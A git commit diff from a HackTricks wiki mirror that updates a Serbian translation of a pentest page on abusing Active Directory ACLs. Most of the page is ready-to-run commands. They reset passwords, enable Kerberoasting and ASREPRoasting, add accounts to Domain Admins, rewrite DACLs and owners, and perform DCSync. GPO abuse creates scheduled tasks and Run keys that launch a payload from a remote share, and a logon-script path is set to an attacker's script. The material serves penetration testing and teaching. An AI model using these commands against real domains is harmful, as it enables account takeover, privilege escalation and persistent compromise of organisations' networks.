mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/acl-pers
This commit is contained in:
parent
217861049a
commit
8148492d2e
@ -238,7 +238,6 @@
|
|||||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
|
||||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||||
|
@ -13,30 +13,45 @@ BadSuccessor.md
|
|||||||
|
|
||||||
## **GenericAll Rights on User**
|
## **GenericAll Rights on User**
|
||||||
|
|
||||||
Ova privilegija daje attacker-u potpunu kontrolu nad ciljnim user account-om. Nakon što su `GenericAll` prava potvrđena pomoću komande `Get-ObjectAcl`, attacker može:
|
Ova privilegija daje napadaču potpunu kontrolu nad ciljnim korisničkim nalogom. Kada se `GenericAll` prava potvrde korišćenjem komande `Get-ObjectAcl`, napadač može:
|
||||||
|
|
||||||
- **Change the Target's Password**: Koristeći `net user <username> <password> /domain`, attacker može resetovati user's password.
|
- **Promeniti lozinku cilja**: Korišćenjem `net user <username> <password> /domain`, napadač može resetovati korisničku lozinku.
|
||||||
- **Targeted Kerberoasting**: Dodelite SPN na korisničkom account-u da biste ga učinili kerberoastable, zatim koristite Rubeus i targetedKerberoast.py da izvučete i pokušate crack-ovati ticket-granting ticket (TGT) hashes.
|
- Sa Linuxa, isto se može uraditi preko SAMR-a koristeći Samba `net rpc`:
|
||||||
|
```bash
|
||||||
|
# Reset target user's password over SAMR from Linux
|
||||||
|
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
|
- **Ako je nalog onemogućen, uklonite UAC oznaku**: `GenericAll` omogućava uređivanje `userAccountControl`. Sa Linuxa, BloodyAD može ukloniti `ACCOUNTDISABLE` zastavicu:
|
||||||
|
```bash
|
||||||
|
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||||
|
```
|
||||||
|
- **Targeted Kerberoasting**: Dodelite SPN korisničkom nalogu da bude kerberoastable, zatim koristite Rubeus i targetedKerberoast.py da izvučete i pokušate da crack-ujete ticket-granting ticket (TGT) hashes.
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||||
```
|
```
|
||||||
- **Targeted ASREPRoasting**: Onemogućite pre-autentifikaciju za korisnika, čineći njegov nalog ranjiv na ASREPRoasting.
|
- **Ciljani ASREPRoasting**: Onemogućite pre-authentication za korisnika, čime korisnički nalog postaje ranjiv na ASREPRoasting.
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||||
```
|
```
|
||||||
|
- **Shadow Credentials / Key Credential Link**: Sa `GenericAll` na korisniku možete dodati kredencijal zasnovan na sertifikatu i autentifikovati se kao tog korisnika bez menjanja njegove lozinke. Vidi:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
shadow-credentials.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## **GenericAll prava nad grupom**
|
## **GenericAll prava nad grupom**
|
||||||
|
|
||||||
Ovo ovlašćenje omogućava napadaču da manipuliše članstvom u grupi ako imaju `GenericAll` prava na grupu poput `Domain Admins`. Nakon identifikovanja distinguished name grupe pomoću `Get-NetGroup`, napadač može:
|
Ova privilegija omogućava napadaču da menja članstva u grupi ako ima `GenericAll` prava na grupu kao što je `Domain Admins`. Nakon identifikovanja distinguished name grupe pomoću `Get-NetGroup`, napadač može:
|
||||||
|
|
||||||
- **Dodavanje sebe u grupu Domain Admins**: Ovo se može uraditi putem direktnih naredbi ili korišćenjem modula kao što su Active Directory ili PowerSploit.
|
- **Dodavanje sebe u Domain Admins Group**: Ovo se može uraditi putem direktnih komandi ili korišćenjem modula kao što su Active Directory ili PowerSploit.
|
||||||
```bash
|
```bash
|
||||||
net group "domain admins" spotless /add /domain
|
net group "domain admins" spotless /add /domain
|
||||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||||
```
|
```
|
||||||
Sa Linuxa takođe možete koristiti BloodyAD da dodate sebe u proizvoljne grupe kada nad njima imate GenericAll/Write članstvo. Ako je ciljna grupa ugnježdena u “Remote Management Users”, odmah ćete dobiti WinRM pristup na hostovima koji uvažavaju tu grupu:
|
- Sa Linuxa takođe možete iskoristiti BloodyAD da sebe dodate u proizvoljne grupe kada nad njima imate GenericAll/Write membership. Ako je ciljana grupa ugnježdena u “Remote Management Users”, odmah ćete dobiti WinRM pristup na hostovima koji poštuju tu grupu:
|
||||||
```bash
|
```bash
|
||||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
|||||||
```
|
```
|
||||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||||
|
|
||||||
Posedovanje ovih privilegija na computer object ili user account omogućava:
|
Posedovanje ovih privilegija na objektu računara ili korisničkom nalogu omogućava:
|
||||||
|
|
||||||
- **Kerberos Resource-based Constrained Delegation**: Omogućava preuzimanje computer object-a.
|
- **Kerberos Resource-based Constrained Delegation**: Omogućava preuzimanje kontrole nad objektom računara.
|
||||||
- **Shadow Credentials**: Koristite ovu tehniku da imitirate computer ili user account iskorišćavanjem privilegija za kreiranje shadow credentials.
|
- **Shadow Credentials**: Upotrebite ovu tehniku za lažno predstavljanje računara ili korisničkog naloga iskorišćavanjem privilegija za kreiranje shadow credentials.
|
||||||
|
|
||||||
## **WriteProperty on Group**
|
## **WriteProperty on Group**
|
||||||
|
|
||||||
Ako korisnik ima `WriteProperty` prava na svim objektima za određenu grupu (npr. `Domain Admins`), može:
|
Ako korisnik ima `WriteProperty` prava na svim objektima za određenu grupu (npr. `Domain Admins`), može:
|
||||||
|
|
||||||
- **Add Themselves to the Domain Admins Group**: Izvodljivo kombinovanjem `net user` i `Add-NetGroupUser` komandi; ova metoda omogućava privilege escalation unutar domena.
|
- **Dodavanje sebe u Domain Admins grupu**: Moguće kombinovanjem `net user` i `Add-NetGroupUser` komandi; ova metoda omogućava eskalaciju privilegija unutar domena.
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **Self (Self-Membership) on Group**
|
## **Self (Self-Membership) on Group**
|
||||||
|
|
||||||
Ova privilegija omogućava napadačima da sebe dodaju u određene grupe, kao što je `Domain Admins`, pomoću komandi koje direktno menjaju članstvo u grupi. Korišćenjem sledeće sekvence komandi moguće je samododavanje:
|
Ova privilegija omogućava napadačima da dodaju sebe u određene grupe, poput `Domain Admins`, putem komandi koje direktno manipulišu članstvom u grupi. Korišćenjem sledeće sekvence komandi moguće je dodati sebe:
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **WriteProperty (Self-Membership)**
|
## **WriteProperty (Samo-članstvo)**
|
||||||
|
|
||||||
Slična privilegija — omogućava napadačima da direktno dodaju sebe u grupe menjajući svojstva grupe ako imaju pravo `WriteProperty` nad tim grupama. Potvrda i izvršenje ove privilegije se obavlja pomoću:
|
Ovaj sličan privilegij omogućava napadačima da sebe direktno dodaju u grupe promenom svojstava grupe ako imaju `WriteProperty` dozvolu na tim grupama. Potvrda i izvršenje ovog privilegija se vrše pomoću:
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
net group "domain admins" spotless /add /domain
|
net group "domain admins" spotless /add /domain
|
||||||
```
|
```
|
||||||
## **ForceChangePassword**
|
## **ForceChangePassword**
|
||||||
|
|
||||||
Držanje `ExtendedRight` nad korisnikom za `User-Force-Change-Password` omogućava resetovanje lozinke bez poznavanja trenutne lozinke. Provera ovog prava i njegovo iskorišćavanje može se izvršiti putem PowerShell ili alternativnih alata komandne linije, nudeći više metoda za resetovanje korisničke lozinke — uključujući interaktivne sesije i one-liners za non-interactive okruženja. Komande variraju od jednostavnih PowerShell poziva do korišćenja `rpcclient` na Linuxu, što pokazuje svestranost attack vectors.
|
Posedovanje `ExtendedRight` nad korisnikom za `User-Force-Change-Password` omogućava resetovanje lozinke bez poznavanja trenutne lozinke. Provera ovog prava i njegovo iskorišćavanje mogu se izvršiti putem PowerShell ili alternativnih komandno-linijskih alata, nudeći nekoliko metoda za resetovanje korisničke lozinke, uključujući interaktivne sesije i one-liners za neinteraktivna okruženja. Komande variraju od jednostavnih PowerShell poziva do korišćenja `rpcclient` na Linux, pokazujući svestranost vektora napada.
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainUserPassword -Identity delegate -Verbose
|
Set-DomainUserPassword -Identity delegate -Verbose
|
||||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
|||||||
rpcclient -U KnownUsername 10.10.10.192
|
rpcclient -U KnownUsername 10.10.10.192
|
||||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||||
```
|
```
|
||||||
## **WriteOwner nad grupom**
|
## **WriteOwner on Group**
|
||||||
|
|
||||||
Ako napadač otkrije da ima `WriteOwner` prava nad grupom, može promeniti vlasništvo grupe na sebe. Ovo je posebno značajno kada je reč o grupi `Domain Admins`, jer promena vlasništva omogućava širu kontrolu nad atributima grupe i članstvom. Postupak podrazumeva identifikovanje ispravnog objekta pomoću `Get-ObjectAcl`, a zatim korišćenje `Set-DomainObjectOwner` za izmenu vlasnika, bilo pomoću SID-a ili imena.
|
Ako napadač otkrije da ima `WriteOwner` prava nad grupom, može promeniti vlasništvo grupe na sebe. Ovo je posebno značajno kada je u pitanju grupa `Domain Admins`, jer promena vlasništva omogućava širu kontrolu nad atributima grupe i članstvom. Proces podrazumeva identifikovanje odgovarajućeg objekta pomoću `Get-ObjectAcl`, a zatim korišćenje `Set-DomainObjectOwner` da se izmeni vlasnik, bilo po SID-u ili po imenu.
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
|||||||
```
|
```
|
||||||
## **GenericWrite on User**
|
## **GenericWrite on User**
|
||||||
|
|
||||||
Ovo dopuštenje omogućava napadaču da menja korisnička svojstva. Konkretno, sa pristupom `GenericWrite`, napadač može promeniti putanju logon skripte korisnika kako bi se pri prijavi korisnika izvršio zlonamerni skript. Ovo se postiže korišćenjem komande `Set-ADObject` za ažuriranje svojstva `scriptpath` ciljnog korisnika tako da upućuje na napadačev skript.
|
Ovo dopuštenje omogućava napadaču da menja svojstva korisnika. Tačnije, uz pristup `GenericWrite`, napadač može promeniti putanju logon skripte korisnika tako da se zlonamerni skript izvrši prilikom prijave korisnika. Ovo se postiže korišćenjem komande `Set-ADObject` da se ažurira `scriptpath` svojstvo ciljnog korisnika tako da pokazuje na napadačev skript.
|
||||||
```bash
|
```bash
|
||||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||||
```
|
```
|
||||||
## **GenericWrite on Group**
|
## **GenericWrite on Group**
|
||||||
|
|
||||||
Sa ovom privilegijom, napadači mogu da manipulišu članstvom u grupi, na primer da dodaju sebe ili druge korisnike u određene grupe. Ovaj proces uključuje kreiranje objekta kredencijala, njegovo korišćenje za dodavanje ili uklanjanje korisnika iz grupe i proveru promena članstva pomoću PowerShell komandi.
|
Sa ovom privilegijom, napadači mogu menjati članstvo u grupi, npr. dodavanjem sebe ili drugih korisnika u određene grupe. Ovaj proces uključuje kreiranje objekta kredencijala, korišćenje istog za dodavanje ili uklanjanje korisnika iz grupe i proveru promena članstva pomoću PowerShell komandi.
|
||||||
```bash
|
```bash
|
||||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
|||||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||||
```
|
```
|
||||||
|
- Sa Linuxa, Samba `net` može da doda/ukloni članove kada imate `GenericWrite` na grupi (korisno kada PowerShell/RSAT nisu dostupni):
|
||||||
|
```bash
|
||||||
|
# Add yourself to the target group via SAMR
|
||||||
|
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
# Verify current members
|
||||||
|
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
## **WriteDACL + WriteOwner**
|
## **WriteDACL + WriteOwner**
|
||||||
|
|
||||||
Imanje AD objekta i privilegija `WriteDACL` nad njim omogućava napadaču da sebi dodeli privilegije `GenericAll` nad tim objektom. Ovo se postiže manipulacijom ADSI, omogućavajući potpunu kontrolu nad objektom i mogućnost izmene njegovog članstva u grupama. Uprkos tome, postoje ograničenja pri pokušaju iskorišćavanja ovih privilegija korišćenjem Active Directory modula `Set-Acl` / `Get-Acl` cmdleta.
|
Imanje AD objekta i privilegija `WriteDACL` na njemu omogućava napadaču da sebi dodeli privilegije `GenericAll` nad objektom. To se postiže manipulacijom ADSI-jem, što omogućava punu kontrolu nad objektom i mogućnost izmene njegovih članstava u grupama. Ipak, postoje ograničenja pri pokušaju iskorišćavanja ovih privilegija korišćenjem `Set-Acl` / `Get-Acl` cmdleta iz Active Directory modula.
|
||||||
```bash
|
```bash
|
||||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||||
@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
|||||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||||
$ADSI.psbase.commitchanges()
|
$ADSI.psbase.commitchanges()
|
||||||
```
|
```
|
||||||
|
### WriteDACL/WriteOwner brzo preuzimanje kontrole (PowerView)
|
||||||
|
|
||||||
|
Kada imate `WriteOwner` i `WriteDacl` nad korisničkim ili servisnim nalogom, možete preuzeti potpunu kontrolu i resetovati njegovu lozinku koristeći PowerView bez poznavanja stare lozinke:
|
||||||
|
```powershell
|
||||||
|
# Load PowerView
|
||||||
|
. .\PowerView.ps1
|
||||||
|
|
||||||
|
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||||
|
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||||
|
|
||||||
|
# Set a new password for the target principal
|
||||||
|
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||||
|
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||||
|
```
|
||||||
|
Napomene:
|
||||||
|
- Možda ćete prvo morati da postavite sebe za vlasnika ako imate samo `WriteOwner`:
|
||||||
|
```powershell
|
||||||
|
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||||
|
```
|
||||||
|
- Proverite pristup koristeći bilo koji protokol (SMB/LDAP/RDP/WinRM) nakon resetovanja lozinke.
|
||||||
|
|
||||||
## **Replikacija na domenu (DCSync)**
|
## **Replikacija na domenu (DCSync)**
|
||||||
|
|
||||||
DCSync napad koristi specifična prava replikacije na domenu da oponaša Domain Controller i sinhronizuje podatke, uključujući korisničke kredencijale. Ova moćna tehnika zahteva dozvole poput `DS-Replication-Get-Changes`, što omogućava napadačima da izvuku osetljive informacije iz AD okruženja bez direktnog pristupa Domain Controller-u. [**Saznajte više o DCSync napadu ovde.**](../dcsync.md)
|
Napad DCSync koristi specifične dozvole za replikaciju na domeni da bi imitirao Domain Controller i sinhronizovao podatke, uključujući korisničke akreditive. Ova moćna tehnika zahteva dozvole kao što su `DS-Replication-Get-Changes`, što napadačima omogućava da izvuku osetljive informacije iz AD okruženja bez direktnog pristupa Domain Controlleru. [**Saznajte više o DCSync napadu ovde.**](../dcsync.md)
|
||||||
|
|
||||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
## Delegiranje GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||||
|
|
||||||
### GPO Delegation
|
### Delegiranje GPO
|
||||||
|
|
||||||
Delegirani pristup za upravljanje Group Policy Objects (GPOs) može predstavljati značajan bezbednosni rizik. Na primer, ako je korisniku kao što je `offense\spotless` delegirano pravo upravljanja GPOs, on može imati privilegije poput **WriteProperty**, **WriteDacl**, i **WriteOwner**. Ove dozvole se mogu zloupotrebiti u zlonamerne svrhe, što se može identifikovati korišćenjem PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
Delegiran pristup za upravljanje Group Policy Objects (GPOs) može predstavljati značajan sigurnosni rizik. Na primer, ako korisniku kao što je `offense\spotless` budu dodeljena prava za upravljanje GPO-ima, oni mogu imati privilegije kao što su **WriteProperty**, **WriteDacl**, i **WriteOwner**. Ove dozvole mogu se zloupotrebiti u zlonamerne svrhe, što se može utvrditi pomoću PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
### Enumerate GPO Permissions
|
### Enumeracija GPO dozvola
|
||||||
|
|
||||||
Da biste identifikovali pogrešno konfigurirane GPOs, PowerSploit-ove cmdlet-ove možete povezati. To omogućava otkrivanje GPOs koje određeni korisnik ima pravo da upravlja: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
Da biste identifikovali pogrešno konfigurisane GPO-ove, PowerSploit-ovi cmdleti se mogu povezati. Ovo omogućava otkrivanje GPO-ova kojima određeni korisnik ima prava za upravljanje: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
**Computers with a Given Policy Applied**: Moguće je razrešiti na koje računare se određeni GPO primenjuje, što pomaže u razumevanju obima potencijalnog uticaja. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
**Računari na koje je primenjena određena politika**: Moguće je utvrditi na koje računare se konkretan GPO primenjuje, što pomaže pri razumevanju obima potencijalnog uticaja. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||||
|
|
||||||
**Policies Applied to a Given Computer**: Da biste videli koje se politike primenjuju na određeni računar, mogu se koristiti komande poput `Get-DomainGPO`.
|
**Politike primenjene na određeni računar**: Da biste videli koje su politike primenjene na određeni računar, mogu se koristiti komande kao što je `Get-DomainGPO`.
|
||||||
|
|
||||||
**OUs with a Given Policy Applied**: Identifikacija organizational units (OUs) koje su pogođene određenom politikom može se izvršiti korišćenjem `Get-DomainOU`.
|
**OU-ovi na koje je primenjena određena politika**: Identifikovanje organizacionih jedinica (OUs) na koje utiče određena politika može se izvršiti pomoću `Get-DomainOU`.
|
||||||
|
|
||||||
Takođe možete koristiti alat [**GPOHound**](https://github.com/cogiceo/GPOHound) za enumeraciju GPOs i pronalaženje problema u njima.
|
Možete takođe koristiti alat [**GPOHound**](https://github.com/cogiceo/GPOHound) za enumeraciju GPO-ova i pronalaženje problema u njima.
|
||||||
|
|
||||||
### Abuse GPO - New-GPOImmediateTask
|
### Zloupotreba GPO - New-GPOImmediateTask
|
||||||
|
|
||||||
Pogrešno konfigurirani GPOs mogu se iskoristiti za izvršavanje koda, na primer, kreiranjem odmah izvršnog zakazanog zadatka. Ovo se može iskoristiti za dodavanje korisnika u grupu lokalnih administratora na pogođenim mašinama, značajno povećavajući privilegije:
|
Pogrešno konfigurisani GPO-ovi mogu se iskoristiti za izvršavanje koda, na primer kreiranjem trenutnog zakazanog zadatka. Ovo se može koristiti za dodavanje korisnika u lokalnu grupu administratora na pogođenim mašinama, značajno podižući privilegije:
|
||||||
```bash
|
```bash
|
||||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||||
```
|
```
|
||||||
### GroupPolicy module - Abuse GPO
|
### GroupPolicy module - Abuse GPO
|
||||||
|
|
||||||
The GroupPolicy module, ako je instaliran, omogućava kreiranje i povezivanje novih GPOs, i podešavanje postavki kao što su registry values za izvršavanje backdoors na pogođenim računarima. Ova metoda zahteva da GPO bude ažuriran i da se korisnik prijavi na računar da bi se izvršilo:
|
GroupPolicy module, ako je instaliran, omogućava kreiranje i povezivanje novih GPOs, kao i podešavanje postavki, kao što su registry values, za izvršavanje backdoors na pogođenim računarima. Ova metoda zahteva da se GPO ažurira i da se korisnik prijavi na računar radi izvršenja:
|
||||||
```bash
|
```bash
|
||||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||||
```
|
```
|
||||||
### SharpGPOAbuse - Abuse GPO
|
### SharpGPOAbuse - Abuse GPO
|
||||||
|
|
||||||
SharpGPOAbuse nudi metod za zloupotrebu postojećih GPOs dodavanjem zadataka ili izmenom podešavanja bez potrebe za kreiranjem novih GPOs. Ovaj alat zahteva izmenu postojećih GPOs ili korišćenje RSAT alata za kreiranje novih pre primene izmena:
|
SharpGPOAbuse nudi način za zloupotrebu postojećih GPOs dodavanjem zadataka ili izmenom podešavanja bez potrebe za kreiranjem novih GPOs. Ovaj alat zahteva izmenu postojećih GPOs ili korišćenje RSAT alata za kreiranje novih pre primene izmena:
|
||||||
```bash
|
```bash
|
||||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||||
```
|
```
|
||||||
### Prisilno ažuriranje politike
|
### Prisilno ažuriranje politike
|
||||||
|
|
||||||
Ažuriranja GPO obično se dešavaju otprilike na svakih 90 minuta. Da biste ubrzali ovaj proces, naročito nakon unošenja promene, na ciljnom računaru može se pokrenuti `gpupdate /force` komanda kako bi se primoralo neposredno ažuriranje politike. Ova komanda osigurava da se sve izmene u GPO-ima primene bez čekanja narednog automatskog ciklusa ažuriranja.
|
Ažuriranja GPO obično se odvijaju otprilike na svakih 90 minuta. Da bi se ubrzao ovaj proces, naročito nakon unošenja izmene, na ciljnom računaru se može pokrenuti komanda `gpupdate /force` da se prisili trenutno ažuriranje politike. Ova komanda osigurava da se sve izmene u GPO primene bez čekanja narednog automatskog ciklusa ažuriranja.
|
||||||
|
|
||||||
### Iza kulisa
|
### Iza kulisa
|
||||||
|
|
||||||
Pregledom Scheduled Tasks za dati GPO, kao što je `Misconfigured Policy`, može se potvrditi dodavanje zadataka kao što je `evilTask`. Ovi zadaci se kreiraju preko skripti ili alata komandne linije sa ciljem da modifikuju ponašanje sistema ili eskaliraju privilegije.
|
Prilikom pregleda zakazanih zadataka za dati GPO, kao što je `Misconfigured Policy`, može se potvrditi dodavanje zadataka kao što je `evilTask`. Ovi zadaci se kreiraju putem skripti ili alata komandne linije s ciljem izmene ponašanja sistema ili eskalacije privilegija.
|
||||||
|
|
||||||
Struktura zadatka, kako je prikazano u XML konfiguracionom fajlu koji generiše `New-GPOImmediateTask`, navodi detalje zakazanog zadatka — uključujući komandu koja će se izvršiti i njene okidače. Ovaj fajl ilustruje kako se Scheduled Tasks definišu i upravljaju unutar GPO-a, pružajući metod za izvršavanje proizvoljnih komandi ili skripti kao deo primene politike.
|
